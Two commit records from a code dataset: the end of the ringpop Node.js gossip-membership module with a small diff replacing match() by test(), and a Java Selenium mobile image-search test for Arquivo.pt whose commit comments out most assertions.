this.serverRate.m1Rate.stop();
this.serverRate.m5Rate.stop();
this.serverRate.m15Rate.stop();
this.totalRate.m1Rate.stop();
this.totalRate.m5Rate.stop();
this.totalRate.m15Rate.stop();
if (this.joiner) {
this.joiner.destroy();
}
Object.keys(this.suspectTimers)
.forEach(function clearSuspect(timerKey) {
clearTimeout(this.suspectTimers[timerKey]);
}, this);
if (this.channel) {
this.channel.quit();
}
};
RingPop.prototype.setupChannel = function setupChannel() {
createRingPopTChannel(this, this.channel);
};
RingPop.prototype.adminJoin = function adminJoin(target, callback) {
if (this.joiner) {
this.joiner.destroy();
this.joiner = null;
}
this.joiner = new AdminJoiner({
ringpop: this,
target: target,
callback: callback,
maxJoinDuration: this.maxJoinDuration
});
this.joiner.sendJoin();
};
RingPop.prototype.bootstrap = function bootstrap(bootstrapFile, callback) {
if (typeof bootstrapFile === 'function') {
callback = bootstrapFile;
bootstrapFile = null;
}
var self = this;
if (this.isReady) {
var alreadyReadyMsg = 'ringpop is already ready';
this.logger.warn(alreadyReadyMsg, { address: this.hostPort });
if (callback) callback(new Error(alreadyReadyMsg));
return;
}
var start = new Date();
this.seedBootstrapHosts(bootstrapFile);
if (!Array.isArray(this.bootstrapHosts) || this.bootstrapHosts.length === 0) {
var noBootstrapMsg = 'ringpop cannot be bootstrapped without bootstrap hosts.' +
' make sure you specify a valid bootstrap hosts file to the ringpop' +
' constructor or have a valid hosts.json file in the current working' +
' directory.';
this.logger.warn(noBootstrapMsg);
if (callback) callback(new Error(noBootstrapMsg));
return;
}
this.checkForMissingBootstrapHost();
this.checkForHostnameIpMismatch();
// Add local member
this.membership.addMember({ address: this.hostPort });
this.adminJoin(function(err) {
if (err) {
var failedMsg = 'ringpop bootstrap failed';
self.logger.error(failedMsg, {
err: err.message,
address: self.hostPort
});
if (callback) callback(new Error(failedMsg));
return;
}
if (self.destroyed) {
var destroyedMsg = 'ringpop was destroyed ' +
'during bootstrap';
self.logger.error(destroyedMsg, {
address: self.hostPort
});
if (callback) callback(new Error(destroyedMsg));
return;
}
self.logger.info('ringpop is ready', {
address: self.hostPort,
bootstrapTime: new Date() - start,
memberCount: self.membership.getMemberCount()
});
self.startProtocolPeriod();
self.startProtocolRateTimer();
self.isReady = true;
self.emit('ready');
if (callback) callback();
});
};
RingPop.prototype.checkForMissingBootstrapHost = function checkForMissingBootstrapHost() {
if (this.bootstrapHosts.indexOf(this.hostPort) === -1) {
this.logger.warn('bootstrap hosts does not include the host/port of' +
' the local node. this may be fine because your hosts file may' +
' just be slightly out of date, but it may also be an indication' +
' that your node is identifying itself incorrectly.', {
address: this.hostPort
});
return false;
}
return true;
};
RingPop.prototype.checkForHostnameIpMismatch = function checkForHostnameIpMismatch() {
var self = this;
function testMismatch(msg, filter) {
var filteredHosts = self.bootstrapHosts.filter(filter);
if (filteredHosts.length > 0) {
self.logger.warn(msg, {
address: self.hostPort,
mismatchedBootstrapHosts: filteredHosts
});
return false;
}
return true;
}
if (HOST_PORT_PATTERN.test(this.hostPort)) {
var ipMsg = 'your ringpop host identifier looks like an IP address and there are' +
' bootstrap hosts that appear to be specified with hostnames. these inconsistencies' +
' may lead to subtle node communication issues';
return testMismatch(ipMsg, function(host) {
return !HOST_PORT_PATTERN.test(host);
});
} else {
var hostMsg = 'your ringpop host identifier looks like a hostname and there are' +
' bootstrap hosts that appear to be specified with IP addresses. these inconsistencies' +
' may lead to subtle node communication issues';
return testMismatch(hostMsg, function(host) {
return HOST_PORT_PATTERN.test(host);
});
}
return true;
};
RingPop.prototype.clearDebugFlags = function clearDebugFlags() {
this.debugFlags = {};
};
RingPop.prototype.protocolRate = function () {
var observed = this.timing.percentiles([0.5])['0.5'] * 2;
return Math.max(observed, this.minProtocolPeriod);
};
RingPop.prototype.getStats = function getStats() {
return {
membership: this.membership.getStats(),
process: {
memory: process.memoryUsage(),
pid: process.pid
},
protocol: {
timing: this.timing.printObj(),
protocolRate: this.protocolRate(),
clientRate: this.clientRate.printObj().m1,
serverRate: this.serverRate.printObj().m1,
totalRate: this.totalRate.printObj().m1
},
ring: Object.keys(this.ring.servers)
};
};
RingPop.prototype.gossip = function gossip() {
var self = this;
var start = new Date();
if (this.destroyed) {
return;
}
function callback() {
self.stat('timing', 'protocol.frequency', start);
self.gossip();
}
var protocolDelay = this.computeProtocolDelay();
this.stat('timing', 'protocol.delay', protocolDelay);
this.gossipTimer = setTimeout(function () {
self.pingMemberNow(callback);
}, protocolDelay);
};
RingPop.prototype.handleTick = function handleTick(cb) {
var self = this;
this.pingMemberNow(function () {
cb(null, JSON.stringify({ checksum: self.membership.checksum }));
});
};
RingPop.prototype.protocolJoin = function protocolJoin(options, callback) {
this.stat('increment', 'join.recv');
var joinerAddress = options.source;
if (joinerAddress === this.whoami()) {
return callback(InvalidJoinSourceError({ actual: joinerAddress }));
}
var joinerApp = options.app;
if (joinerApp !== this.app) {
return callback(InvalidJoinAppError({ expected: this.app, actual: joinerApp }));
}
this.serverRate.mark();
this.totalRate.mark();
this.membership.addMember({
address: joinerAddress,
incarnationNumber: options.incarnationNumber
});
callback(null, {
app: this.app,
coordinator: this.whoami(),
membership: this.membership.getState()
});
};
RingPop.prototype.protocolLeave = function protocolLeave(node, callback) {
callback();
};
RingPop.prototype.protocolPing = function protocolPing(options, callback) {
this.stat('increment', 'ping.recv');
var source = options.source;
var changes = options.changes;
var checksum = options.checksum;
this.serverRate.mark();
this.totalRate.mark();
this.membership.update(changes);
callback(null, {
changes: this.issueMembershipChanges(checksum, source)
});
};
RingPop.prototype.protocolPingReq = function protocolPingReq(options, callback) {
this.stat('increment', 'ping-req.recv');
var source = options.source;
var target = options.target;
var changes = options.changes;
var checksum = options.checksum;
this.serverRate.mark();
this.totalRate.mark();
this.membership.update(changes);
var self = this;
this.logger.debug('ping-req send ping source=' + source + ' target=' + target, 'p');
var start = new Date();
this.sendPing(target, function (isOk, body) {
self.stat('timing', 'ping-req-ping', start);
self.logger.debug('ping-req recv ping source=' + source + ' target=' + target + ' isOk=' + isOk, 'p');
if (isOk) {
self.membership.update(body.changes);
}
callback(null, {
changes: self.issueMembershipChanges(checksum, source),
pingStatus: isOk,
target: target
});
});
};
RingPop.prototype.lookup = function lookup(key) {
this.stat('increment', 'lookup');
var dest = this.ring.lookup(key + '');
if (!dest) {
this.logger.debug('could not find destination for ' + key);
return this.whoami();
}
return dest;
};
RingPop.prototype.reload = function reload(file, callback) {
this.seedBootstrapHosts(file);
callback();
};
RingPop.prototype.whoami = function whoami() {
return this.hostPort;
};
RingPop.prototype.clearSuspectTimeout = function clearSuspectTimeout(member) {
this.logger.debug('canceled suspect period member=' + member.address);
clearTimeout(this.suspectTimers[member.address]);
};
RingPop.prototype.computeProtocolDelay = function computeProtocolDelay() {
if (this.protocolPeriods) {
var target = this.lastProtocolPeriod + this.lastProtocolRate;
return Math.max(target - Date.now(), this.minProtocolPeriod);
} else {
// Delay for first tick will be staggered from 0 to `minProtocolPeriod` ms.
return Math.floor(Math.random() * (this.minProtocolPeriod + 1));
}
};
RingPop.prototype.issueMembershipChanges = function issueMembershipChanges(checksum, source) {
return this.dissemination.getChanges(checksum, source);
};
RingPop.prototype.onMembershipUpdated = function onMembershipUpdated(updates) {
var self = this;
var updateHandlers = {
'alive': function onAliveMember(member) {
/* jshint camelcase: false */
self.stat('increment', 'membership-update.alive');
self.logger.info('member is alive', {
local: self.membership.localMember.address,
alive: member.address
});
self.clearSuspectTimeout(member);
self.ring.addServer(member.address);
self.dissemination.addChange({
address: member.address,
status: member.status,
incarnationNumber: member.incarnationNumber,
piggybackCount: 0
});
},
'faulty': function onFaultyMember(member) {
/* jshint camelcase: false */
self.stat('increment', 'membership-update.faulty');
self.logger.warn('member is faulty', {
local: self.membership.localMember.address,
faulty: member.address
});
self.clearSuspectTimeout(member);
self.ring.removeServer(member.address);
self.dissemination.addChange({
address: member.address,
status: member.status,
incarnationNumber: member.incarnationNumber,
piggybackCount: 0
});
},
'new': function onNewMember(member) {
/* jshint camelcase: false */
self.stat('increment', 'membership-update.new');
self.ring.addServer(member.address);
self.dissemination.addChange({
address: member.address,
status: member.status,
incarnationNumber: member.incarnationNumber,
piggybackCount: 0
});
},
'suspect': function onSuspectMember(member) {
self.stat('increment', 'membership-update.suspect');
self.logger.warn('member is suspect', {
local: self.membership.localMember.address,
suspect: member.address
});
self.startSuspectPeriod(member);
self.dissemination.addChange({
address: member.address,
status: member.status,
incarnationNumber: member.incarnationNumber,
piggybackCount: 0
});
}
};
updates.forEach(function(update) {
var handler = updateHandlers[update.type];
if (handler) {
handler(update);
}
});
if (updates.length > 0) {
this.emit('changed');
}
this.stat('gauge', 'num-members', this.membership.members.length);
this.stat('timing', 'updates', updates.length);
};
RingPop.prototype.pingMemberNow = function pingMemberNow(callback) {
callback = callback || function() {};
if (this.isPinging) {
this.logger.warn('aborting ping because one is in progress');
return callback();
}
if (!this.isReady) {
this.logger.warn('ping started before ring initialized');
return callback();
}
this.lastProtocolPeriod = Date.now();
this.protocolPeriods++;
var member = this.memberIterator.next();
if (! member) {
this.logger.warn('no usable nodes at protocol period');
return callback();
}
var self = this;
this.isPinging = true;
var start = new Date();
this.sendPing(member, function(isOk, body) {
self.stat('timing', 'ping', start);
if (isOk) {
self.isPinging = false;
self.membership.update(body.changes);
return callback();
}
if (self.destroyed) {
return callback(new Error('destroyed whilst pinging'));
}
start = new Date();
self.sendPingReq(member, function() {
self.stat('timing', 'ping-req', start);
self.isPinging = false;
callback.apply(null, Array.prototype.splice.call(arguments, 0));
});
});
};
RingPop.prototype.readHostsFile = function readHostsFile(file) {
if (!file) {
return false;
}
if (!fs.existsSync(file)) {
this.logger.warn('bootstrap hosts file does not exist', { file: file });
return false;
}
try {
return safeParse(fs.readFileSync(file).toString());
} catch (e) {
this.logger.warn('failed to read bootstrap hosts file', {
err: e.message,
file: file
});
}
};
RingPop.prototype.seedBootstrapHosts = function seedBootstrapHosts(file) {
if (Array.isArray(file)) {
this.bootstrapHosts = file;
} else {
this.bootstrapHosts = this.readHostsFile(file) ||
this.readHostsFile(this.bootstrapFile) ||
this.readHostsFile('./hosts.json');
}
};
RingPop.prototype.sendPing = function sendPing(member, callback) {
this.stat('increment', 'ping.send');
return new PingSender(this, member, callback);
};
// TODO Exclude suspect memebers from ping-req as well?
RingPop.prototype.sendPingReq = function sendPingReq(unreachableMember, callback) {
this.stat('increment', 'ping-req.send');
var otherMembers = this.membership.getRandomPingableMembers(this.pingReqSize, [unreachableMember.address]);
var self = this;
var completed = 0;
var anySuccess = false;
function onComplete(err) {
anySuccess |= !err;
if (++completed === otherMembers.length) {
self.membership.update([{
address: unreachableMember.address,
incarnationNumber: unreachableMember.incarnationNumber,
status: anySuccess ? 'alive' : 'suspect'
}]);
callback();
}
}
this.stat('timing', 'ping-req.other-members', otherMembers.length);
if (otherMembers.length > 0) {
otherMembers.forEach(function (member) {
self.logger.debug('ping-req send peer=' + member.address +
' target=' + unreachableMember.address, 'p');
return new PingReqSender(self, member, unreachableMember, onComplete);
});
} else {
callback(new Error('No members to ping-req'));
}
};
RingPop.prototype.setDebugFlag = function setDebugFlag(flag) {
this.debugFlags[flag] = true;
};
RingPop.prototype.setLogger = function setLogger(logger) {
var self = this;
this.logger = {
debug: function(msg, flag) {
if (self.debugFlags && self.debugFlags[flag]) {
logger.info(msg);
}
},
error: logger.error.bind(logger),
info: logger.info.bind(logger),
warn: logger.warn.bind(logger)
};
};
RingPop.prototype.startProtocolPeriod = function startProtocolPeriod() {
if (this.isRunning) {
this.logger.warn('ringpop is already gossiping and will not' +
' start another protocol period.', { address: this.hostPort });
return;
}
this.isRunning = true;
this.membership.shuffle();
this.gossip();
this.logger.info('ringpop has started gossiping', { address: this.hostPort });
};
RingPop.prototype.startProtocolRateTimer = function startProtocolRateTimer() {
this.protocolRateTimer = setInterval(function () {
this.lastProtocolRate = this.protocolRate();
}.bind(this), 1000);
};
RingPop.prototype.startSuspectPeriod = function startSuspectPeriod(member) {
if (this.destroyed) {
return;
}
this.logger.debug('starting suspect period member=' + member.address);
// An existing suspect could exist in the event that a previously suspected
// member is still suspected, but overriden by a higher incarnation number.
// In that case, this function effectively renews and reissues a suspect
// period.
if (this.suspectTimers[member.address]) {
this.logger.debug('canceling existing suspect period suspect=' + member.address);
clearTimeout(this.suspectTimers[member.address]);
}
this.suspectTimers[member.address] = setTimeout(function() {
this.membership.update([{
address: member.address,
incarnationNumber: member.incarnationNumber,
status: 'faulty'
}]);
delete this.suspectTimers[member.address];
}.bind(this), this.suspectPeriod);
};
RingPop.prototype.stat = function stat(type, key, value) {
if (!this.statKeys[key]) {
this.statKeys[key] = this.statPrefix + '.' + key;
}
var fqKey = this.statKeys[key];
if (type === 'increment') {
this.statsd.increment(fqKey, value);
} else if (type === 'gauge') {
this.statsd.gauge(fqKey, value);
} else if (type === 'timing') {
this.statsd.timing(fqKey, value);
}
};
RingPop.prototype.handleIncomingRequest =
function handleIncomingRequest(header, body, cb) {
this.requestProxy.handleRequest(header, body, cb);
};
RingPop.prototype.proxyReq =
function proxyReq(destination, req, res, opts) {
this.requestProxy.proxyReq(destination, req, res, opts);
};
RingPop.prototype.handleOrProxy =
function handleOrProxy(key, req, res, opts) {
var dest = this.lookup(key);
if (this.whoami() === dest) {
return true;
} else {
this.proxyReq(dest, req, res, opts);
}
};
module.exports = RingPop;
| review: use test() instead
| index.js | review: use test() instead | <ide><path>ndex.js
<ide> var isString = typeof options.hostPort === 'string';
<ide> var parts = options.hostPort && options.hostPort.split(':');
<ide> var isColonSeparated = parts && parts.length === 2;
<del> var isIP = parts && parts[0] && parts[0].match(IP_PATTERN);
<add> var isIP = parts && parts[0] && IP_PATTERN.test(parts[0]);
<ide> var isPort = parts && parts[1] &&
<ide> !isNaN(parseInt(parts[1], 10));
<ide> |
|
Java | apache-2.0 | 0d83b16194925c18f7e4bacb01de43ff81ea810b | 0 | arquivo/functional-tests,arquivo/functional-tests | package pt.fccn.mobile.arquivo.tests.imagesearch;
import static org.hamcrest.CoreMatchers.containsString;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertTrue;
import org.junit.Test;
import org.openqa.selenium.By;
import pt.fccn.arquivo.selenium.WebDriverTestBaseParalell;
/**
*
* @author [email protected]
* @author [email protected]
*
*/
public class ImageSearchTest extends WebDriverTestBaseParalell {
/**
* Test the search of one term in the index interface.
*/
public ImageSearchTest(String os, String version, String browser, String deviceName, String deviceOrientation) {
super(os, version, browser, deviceName, deviceOrientation);
}
@Test
public void testImageSearchOneTerm() throws Exception {
run("Search FCCN term", () -> {
driver.findElement(By.id("txtSearch")).clear();
driver.findElement(By.id("txtSearch")).sendKeys("fccn");
driver.findElement(By.xpath("//*[@id=\"buttonSearch\"]/button")).click();
});
run("Search images instead of text", () -> driver.findElement(By.id("BotaoImagens")).click());
run("Click/open one image on search results to open modal",
() -> driver.findElement(By.id("imageResults1")).click());
// appendError(() -> {
// assertTrue("First image details should be shown after clicking on it",
// driver.findElement(By.xpath("//*[@id=\"imgTitleLabel0\"]/a")).isDisplayed());
// });
//
//
// appendError(() -> {
// assertEquals("Check image name on opened modal", "FCCN",
// driver.findElement(By.xpath("//*[@id=\"imgTitleLabel0\"]/a")).getText());
// });
//
// appendError(() -> {
// assertEquals("Check image original link on opened modal",
// "wiki.di.uminho.pt/twiki/pub/Mestrado/TPI/fccn.jpg",
// driver.findElement(By.xpath("//*[@id=\"testViewer0\"]/div[2]/div/div[1]/h2[2]")).getText());
// });
//
// appendError(() -> {
// assertEquals("Check image type and size on opened modal", "jpeg 319 x 69",
// driver.findElement(By.xpath("//*[@id=\"testViewer0\"]/div[2]/div/div[1]/h2[3]")).getText());
// });
//
// appendError(() -> {
// assertEquals("Check image date on opened modal", "7 Julho, 2007",
// driver.findElement(By.xpath("//*[@id=\"testViewer0\"]/div[2]/div/div[1]/h2[4]")).getText());
// });
//
// appendError(() -> {
// assertEquals("Check page anchor text", "Segundo Ciclo em Informática - Univer...",
// driver.findElement(By.xpath("//*[@id=\"testViewer0\"]/div[2]/div/div[2]/div/h2[1]/a")).getText());
// });
//
// appendError(() -> {
// assertEquals("Check original page link name", "wiki.di.uminho.pt/twiki/bin/view/Mestrado/TPI",
// driver.findElement(By.xpath("//*[@id=\"testViewer0\"]/div[2]/div/div[2]/div/h2[2]")).getText());
// });
//
// appendError(() -> {
// assertEquals("Check page date", "7 Julho, 2007",
// driver.findElement(By.xpath("//*[@id=\"testViewer0\"]/div[2]/div/div[2]/div/h2[3]")).getText());
// });
//
// run("Click on show image details button on image modal", () -> {
// driver.findElement(By.id("showDetails")).click();
// });
//
// appendError(() -> {
// assertThat("Check image detail page contains page url",
// driver.findElement(By.xpath("//*[@id=\"imageDetailPageElements\"]")).getText(),
// containsString("http://wiki.di.uminho.pt/twiki/bin/view/Mestrado/TPI"));
// });
//
// appendError(() -> {
// assertThat("Check image detail page contains page timestamp",
// driver.findElement(By.xpath("//*[@id=\"imageDetailPageElements\"]")).getText(),
// containsString("20070707201604"));
// });
//
// appendError(() -> {
// assertThat("Check image detail page contains page title",
// driver.findElement(By.xpath("//*[@id=\"imageDetailPageElements\"]")).getText(),
// containsString("Segundo Ciclo em Informática - Universidade do Minho - TWiki"));
// });
//
// appendError(() -> {
// assertThat("Check image detail image elements contains original src",
// driver.findElement(By.xpath("//*[@id=\"imageDetailImageElements\"]")).getText(),
// containsString("http://wiki.di.uminho.pt/twiki/pub/Mestrado/TPI/fccn.jpg"));
// });
//
// appendError(() -> {
// assertThat("Check image detail image elements contains timestamp",
// driver.findElement(By.xpath("//*[@id=\"imageDetailImageElements\"]")).getText(),
// containsString("20070707201644"));
// });
//
// appendError(() -> {
// assertThat("Check image detail image elements contains image title",
// driver.findElement(By.xpath("//*[@id=\"imageDetailImageElements\"]")).getText(),
// containsString("FCCN"));
// });
//
// appendError(() -> {
// assertThat("Check image detail image elements contains resolution value",
// driver.findElement(By.xpath("//*[@id=\"imageDetailImageElements\"]")).getText(),
// containsString("319 x 69 pixels"));
// });
//
// appendError(() -> {
// assertThat("Check image detail image elements contains mimetype value",
// driver.findElement(By.xpath("//*[@id=\"imageDetailImageElements\"]")).getText(),
// containsString("image/jpeg"));
// });
//
// appendError(() -> {
// assertThat("Check image detail image elements contains safe value",
// driver.findElement(By.xpath("//*[@id=\"imageDetailImageElements\"]")).getText(),
// containsString("0.999"));
// });
//
// appendError(() -> {
// assertThat("Check image detail about collection contains expected collection value",
// driver.findElement(By.xpath("//*[@id=\"imageDetailCollectionElements\"]")).getText(),
// containsString("IA"));
// });
//
// run("Close image details modal", () -> {
// driver.findElement(By.id("detailsDialogClose")).click();
// });
//
// run("Close image first modal", () -> {
// driver.findElement(By.xpath("//*[@id=\"testViewer0\"]/button[1]")).click();
// });
}
}
| src/test/java/pt/fccn/mobile/arquivo/tests/imagesearch/ImageSearchTest.java | package pt.fccn.mobile.arquivo.tests.imagesearch;
import static org.hamcrest.CoreMatchers.containsString;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertTrue;
import org.junit.Test;
import org.openqa.selenium.By;
import pt.fccn.arquivo.selenium.WebDriverTestBaseParalell;
/**
*
* @author [email protected]
* @author [email protected]
*
*/
public class ImageSearchTest extends WebDriverTestBaseParalell {
/**
* Test the search of one term in the index interface.
*/
public ImageSearchTest(String os, String version, String browser, String deviceName, String deviceOrientation) {
super(os, version, browser, deviceName, deviceOrientation);
}
@Test
public void testImageSearchOneTerm() throws Exception {
run("Search FCCN term", () -> {
driver.findElement(By.id("txtSearch")).clear();
driver.findElement(By.id("txtSearch")).sendKeys("fccn");
driver.findElement(By.id("btnSubmit")).click();
});
run("Search images instead of text", () -> driver.findElement(By.id("BotaoImagens")).click());
run("Click/open one image on search results to open modal",
() -> driver.findElement(By.id("imageResults1")).click());
appendError(() -> {
assertTrue("First image details should be shown after clicking on it",
driver.findElement(By.xpath("//*[@id=\"imgTitleLabel0\"]/a")).isDisplayed());
});
appendError(() -> {
assertEquals("Check image name on opened modal", "FCCN",
driver.findElement(By.xpath("//*[@id=\"imgTitleLabel0\"]/a")).getText());
});
appendError(() -> {
assertEquals("Check image original link on opened modal",
"wiki.di.uminho.pt/twiki/pub/Mestrado/TPI/fccn.jpg",
driver.findElement(By.xpath("//*[@id=\"testViewer0\"]/div[2]/div/div[1]/h2[2]")).getText());
});
appendError(() -> {
assertEquals("Check image type and size on opened modal", "jpeg 319 x 69",
driver.findElement(By.xpath("//*[@id=\"testViewer0\"]/div[2]/div/div[1]/h2[3]")).getText());
});
appendError(() -> {
assertEquals("Check image date on opened modal", "7 Julho, 2007",
driver.findElement(By.xpath("//*[@id=\"testViewer0\"]/div[2]/div/div[1]/h2[4]")).getText());
});
appendError(() -> {
assertEquals("Check page anchor text", "Segundo Ciclo em Informática - Univer...",
driver.findElement(By.xpath("//*[@id=\"testViewer0\"]/div[2]/div/div[2]/div/h2[1]/a")).getText());
});
appendError(() -> {
assertEquals("Check original page link name", "wiki.di.uminho.pt/twiki/bin/view/Mestrado/TPI",
driver.findElement(By.xpath("//*[@id=\"testViewer0\"]/div[2]/div/div[2]/div/h2[2]")).getText());
});
appendError(() -> {
assertEquals("Check page date", "7 Julho, 2007",
driver.findElement(By.xpath("//*[@id=\"testViewer0\"]/div[2]/div/div[2]/div/h2[3]")).getText());
});
run("Click on show image details button on image modal", () -> {
driver.findElement(By.id("showDetails")).click();
});
appendError(() -> {
assertThat("Check image detail page contains page url",
driver.findElement(By.xpath("//*[@id=\"imageDetailPageElements\"]")).getText(),
containsString("http://wiki.di.uminho.pt/twiki/bin/view/Mestrado/TPI"));
});
appendError(() -> {
assertThat("Check image detail page contains page timestamp",
driver.findElement(By.xpath("//*[@id=\"imageDetailPageElements\"]")).getText(),
containsString("20070707201604"));
});
appendError(() -> {
assertThat("Check image detail page contains page title",
driver.findElement(By.xpath("//*[@id=\"imageDetailPageElements\"]")).getText(),
containsString("Segundo Ciclo em Informática - Universidade do Minho - TWiki"));
});
appendError(() -> {
assertThat("Check image detail image elements contains original src",
driver.findElement(By.xpath("//*[@id=\"imageDetailImageElements\"]")).getText(),
containsString("http://wiki.di.uminho.pt/twiki/pub/Mestrado/TPI/fccn.jpg"));
});
appendError(() -> {
assertThat("Check image detail image elements contains timestamp",
driver.findElement(By.xpath("//*[@id=\"imageDetailImageElements\"]")).getText(),
containsString("20070707201644"));
});
appendError(() -> {
assertThat("Check image detail image elements contains image title",
driver.findElement(By.xpath("//*[@id=\"imageDetailImageElements\"]")).getText(),
containsString("FCCN"));
});
appendError(() -> {
assertThat("Check image detail image elements contains resolution value",
driver.findElement(By.xpath("//*[@id=\"imageDetailImageElements\"]")).getText(),
containsString("319 x 69 pixels"));
});
appendError(() -> {
assertThat("Check image detail image elements contains mimetype value",
driver.findElement(By.xpath("//*[@id=\"imageDetailImageElements\"]")).getText(),
containsString("image/jpeg"));
});
appendError(() -> {
assertThat("Check image detail image elements contains safe value",
driver.findElement(By.xpath("//*[@id=\"imageDetailImageElements\"]")).getText(),
containsString("0.999"));
});
appendError(() -> {
assertThat("Check image detail about collection contains expected collection value",
driver.findElement(By.xpath("//*[@id=\"imageDetailCollectionElements\"]")).getText(),
containsString("IA"));
});
run("Close image details modal", () -> {
driver.findElement(By.id("detailsDialogClose")).click();
});
run("Close image first modal", () -> {
driver.findElement(By.xpath("//*[@id=\"testViewer0\"]/button[1]")).click();
});
}
}
| testing simple image search in mobile
| src/test/java/pt/fccn/mobile/arquivo/tests/imagesearch/ImageSearchTest.java | testing simple image search in mobile | <ide><path>rc/test/java/pt/fccn/mobile/arquivo/tests/imagesearch/ImageSearchTest.java
<ide> * @author [email protected]
<ide> *
<ide> */
<add>
<ide> public class ImageSearchTest extends WebDriverTestBaseParalell {
<ide>
<ide> /**
<ide>
<ide> run("Search FCCN term", () -> {
<ide> driver.findElement(By.id("txtSearch")).clear();
<del> driver.findElement(By.id("txtSearch")).sendKeys("fccn");
<del> driver.findElement(By.id("btnSubmit")).click();
<add> driver.findElement(By.id("txtSearch")).sendKeys("fccn");
<add> driver.findElement(By.xpath("//*[@id=\"buttonSearch\"]/button")).click();
<ide> });
<ide>
<ide> run("Search images instead of text", () -> driver.findElement(By.id("BotaoImagens")).click());
<ide> run("Click/open one image on search results to open modal",
<ide> () -> driver.findElement(By.id("imageResults1")).click());
<ide>
<del> appendError(() -> {
<del> assertTrue("First image details should be shown after clicking on it",
<del> driver.findElement(By.xpath("//*[@id=\"imgTitleLabel0\"]/a")).isDisplayed());
<del> });
<del>
<del>
<del> appendError(() -> {
<del> assertEquals("Check image name on opened modal", "FCCN",
<del> driver.findElement(By.xpath("//*[@id=\"imgTitleLabel0\"]/a")).getText());
<del> });
<del>
<del> appendError(() -> {
<del> assertEquals("Check image original link on opened modal",
<del> "wiki.di.uminho.pt/twiki/pub/Mestrado/TPI/fccn.jpg",
<del> driver.findElement(By.xpath("//*[@id=\"testViewer0\"]/div[2]/div/div[1]/h2[2]")).getText());
<del> });
<del>
<del> appendError(() -> {
<del> assertEquals("Check image type and size on opened modal", "jpeg 319 x 69",
<del> driver.findElement(By.xpath("//*[@id=\"testViewer0\"]/div[2]/div/div[1]/h2[3]")).getText());
<del> });
<del>
<del> appendError(() -> {
<del> assertEquals("Check image date on opened modal", "7 Julho, 2007",
<del> driver.findElement(By.xpath("//*[@id=\"testViewer0\"]/div[2]/div/div[1]/h2[4]")).getText());
<del> });
<del>
<del> appendError(() -> {
<del> assertEquals("Check page anchor text", "Segundo Ciclo em Informática - Univer...",
<del> driver.findElement(By.xpath("//*[@id=\"testViewer0\"]/div[2]/div/div[2]/div/h2[1]/a")).getText());
<del> });
<del>
<del> appendError(() -> {
<del> assertEquals("Check original page link name", "wiki.di.uminho.pt/twiki/bin/view/Mestrado/TPI",
<del> driver.findElement(By.xpath("//*[@id=\"testViewer0\"]/div[2]/div/div[2]/div/h2[2]")).getText());
<del> });
<del>
<del> appendError(() -> {
<del> assertEquals("Check page date", "7 Julho, 2007",
<del> driver.findElement(By.xpath("//*[@id=\"testViewer0\"]/div[2]/div/div[2]/div/h2[3]")).getText());
<del> });
<del>
<del> run("Click on show image details button on image modal", () -> {
<del> driver.findElement(By.id("showDetails")).click();
<del> });
<del>
<del> appendError(() -> {
<del> assertThat("Check image detail page contains page url",
<del> driver.findElement(By.xpath("//*[@id=\"imageDetailPageElements\"]")).getText(),
<del> containsString("http://wiki.di.uminho.pt/twiki/bin/view/Mestrado/TPI"));
<del> });
<del>
<del> appendError(() -> {
<del> assertThat("Check image detail page contains page timestamp",
<del> driver.findElement(By.xpath("//*[@id=\"imageDetailPageElements\"]")).getText(),
<del> containsString("20070707201604"));
<del> });
<del>
<del> appendError(() -> {
<del> assertThat("Check image detail page contains page title",
<del> driver.findElement(By.xpath("//*[@id=\"imageDetailPageElements\"]")).getText(),
<del> containsString("Segundo Ciclo em Informática - Universidade do Minho - TWiki"));
<del> });
<del>
<del> appendError(() -> {
<del> assertThat("Check image detail image elements contains original src",
<del> driver.findElement(By.xpath("//*[@id=\"imageDetailImageElements\"]")).getText(),
<del> containsString("http://wiki.di.uminho.pt/twiki/pub/Mestrado/TPI/fccn.jpg"));
<del> });
<del>
<del> appendError(() -> {
<del> assertThat("Check image detail image elements contains timestamp",
<del> driver.findElement(By.xpath("//*[@id=\"imageDetailImageElements\"]")).getText(),
<del> containsString("20070707201644"));
<del> });
<del>
<del> appendError(() -> {
<del> assertThat("Check image detail image elements contains image title",
<del> driver.findElement(By.xpath("//*[@id=\"imageDetailImageElements\"]")).getText(),
<del> containsString("FCCN"));
<del> });
<del>
<del> appendError(() -> {
<del> assertThat("Check image detail image elements contains resolution value",
<del> driver.findElement(By.xpath("//*[@id=\"imageDetailImageElements\"]")).getText(),
<del> containsString("319 x 69 pixels"));
<del> });
<del>
<del> appendError(() -> {
<del> assertThat("Check image detail image elements contains mimetype value",
<del> driver.findElement(By.xpath("//*[@id=\"imageDetailImageElements\"]")).getText(),
<del> containsString("image/jpeg"));
<del> });
<del>
<del> appendError(() -> {
<del> assertThat("Check image detail image elements contains safe value",
<del> driver.findElement(By.xpath("//*[@id=\"imageDetailImageElements\"]")).getText(),
<del> containsString("0.999"));
<del> });
<del>
<del> appendError(() -> {
<del> assertThat("Check image detail about collection contains expected collection value",
<del> driver.findElement(By.xpath("//*[@id=\"imageDetailCollectionElements\"]")).getText(),
<del> containsString("IA"));
<del> });
<del>
<del> run("Close image details modal", () -> {
<del> driver.findElement(By.id("detailsDialogClose")).click();
<del> });
<del>
<del> run("Close image first modal", () -> {
<del> driver.findElement(By.xpath("//*[@id=\"testViewer0\"]/button[1]")).click();
<del> });
<add>// appendError(() -> {
<add>// assertTrue("First image details should be shown after clicking on it",
<add>// driver.findElement(By.xpath("//*[@id=\"imgTitleLabel0\"]/a")).isDisplayed());
<add>// });
<add>//
<add>//
<add>// appendError(() -> {
<add>// assertEquals("Check image name on opened modal", "FCCN",
<add>// driver.findElement(By.xpath("//*[@id=\"imgTitleLabel0\"]/a")).getText());
<add>// });
<add>//
<add>// appendError(() -> {
<add>// assertEquals("Check image original link on opened modal",
<add>// "wiki.di.uminho.pt/twiki/pub/Mestrado/TPI/fccn.jpg",
<add>// driver.findElement(By.xpath("//*[@id=\"testViewer0\"]/div[2]/div/div[1]/h2[2]")).getText());
<add>// });
<add>//
<add>// appendError(() -> {
<add>// assertEquals("Check image type and size on opened modal", "jpeg 319 x 69",
<add>// driver.findElement(By.xpath("//*[@id=\"testViewer0\"]/div[2]/div/div[1]/h2[3]")).getText());
<add>// });
<add>//
<add>// appendError(() -> {
